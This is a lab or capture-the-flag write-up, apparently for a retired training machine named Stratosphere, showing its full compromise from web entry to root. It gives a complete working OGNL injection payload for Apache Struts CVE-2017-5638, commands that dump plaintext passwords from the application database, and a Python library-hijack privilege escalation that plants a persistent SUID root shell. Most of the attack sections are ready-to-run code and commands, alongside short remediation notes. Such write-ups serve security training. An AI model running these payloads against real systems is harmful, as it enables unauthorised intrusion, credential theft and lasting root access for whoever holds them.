Stratosphere
Summary
Target stratosphere ($TARGET) was fully compromised end-to-end. The Struts 2 credit-monitoring application on ports 80 and 8080 was unpatched against CVE-2017-5638, allowing any unauthenticated visitor to inject OGNL code through a crafted HTTP Content-Type header and execute operating-system commands as the tomcat8 service account. From that foothold I read the application's MariaDB database and recovered the local user richard's SSH password stored in plaintext.
Logging in as richard via SSH captured the user flag. A sudo rule permitted richard to run a Python script located in his own home directory as root with no password; because Python resolves imports by searching the script's directory before system library paths, and that directory was fully writable by richard, dropping a malicious hashlib.py stub there caused the privileged script to execute my own code as root — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for richard>"Some commands also carry a value in angle brackets — <db_pass>, <db_user> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Service version scan; confirms Tomcat on 80/8080 and filtered AJP on 8009.
$ nmap -sV -Pn -p 22,80,8080,8009 $TARGETConfirm the Struts2 application endpoint, observe the JSESSIONID cookie, and note the application title.
$ curl -si http://$TARGET/Monitoring/example/Welcome.actionExact commands 2
Use http.client directly to bypass Python urllib header-validation; replace the cmd variable to run any shell command as tomcat8.
$ python3 - <<PY
import http.client
cmd = 'id; whoami; hostname; pwd'
ognl = ("%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
conn = http.client.HTTPConnection("$TARGET", 80)
conn.putrequest('POST', '/Monitoring/example/Welcome.action')
conn.putheader('Content-Type', ognl)
conn.putheader('Content-Length', '0')
conn.endheaders()
r = conn.getresponse(); print(r.read().decode())
PY
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)Alternatively use any public CVE-2017-5638 PoC script targeting the confirmed endpoint.
$ python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'id'FixPatch Apache Struts 2 to eliminate the CVE-2017-5638 OGNL injection vulnerabilityCritical
Exact commands 2
Read the Struts app deployment descriptor to find the JDBC URL, database user, and database password.
$ python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'cat /var/lib/tomcat8/webapps/Monitoring/WEB-INF/web.xml'Query the accounts table with credentials found in web.xml; replace <db_user>/<db_pass> accordingly. Returns richard's SSH password in plaintext.
$ python3 struts_s2045.py http://$TARGET/Monitoring/example/Welcome.action 'mysql -u <db_user> -p<db_pass> -e "SELECT fullName,passw FROM users.accounts;"'FixReplace plaintext database passwords with strong hashes and enforce credential separationCritical
Exact commands 1
Authenticate as richard with the database password; outputs <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'id; hostname; cat /home/richard/user.txt'Exact commands 2
List richard's sudo permissions; look for NOPASSWD entries invoking a Python interpreter on a user-owned script.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'sudo -l'
(ALL) NOPASSWD: /usr/bin/python3 /home/richard/test.pyRead the sudoable script to identify which modules it imports.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'cat /home/richard/test.py'Exact commands 3
Write the malicious hashlib.py stub; stub class prevents ImportError if test.py calls hashlib methods after import.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET "cat > /home/richard/hashlib.py <<'PYEOF'
import os
os.system('id; cat /root/root.txt; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
class _H:
def update(self, x): pass
def hexdigest(self): return ''
def md5(): return _H()
def sha1(): return _H()
PYEOF"Trigger the sudo rule; Python imports the malicious hashlib.py first and executes os.system() as root. Root flag prints as <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET 'echo "'"$PASSWORD"'" | sudo -S python3 /home/richard/test.py'Use the SUID bash copy for a persistent root shell (the -p flag preserves the SUID effective UID).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null richard@$TARGET '/tmp/rootbash -p'FixRemove the sudo rule that grants passwordless root execution of a user-owned Python scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) |
| 80/tcp | http Apache Tomcat (language: en) |
| 8080/tcp | http Apache Tomcat (language: en) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.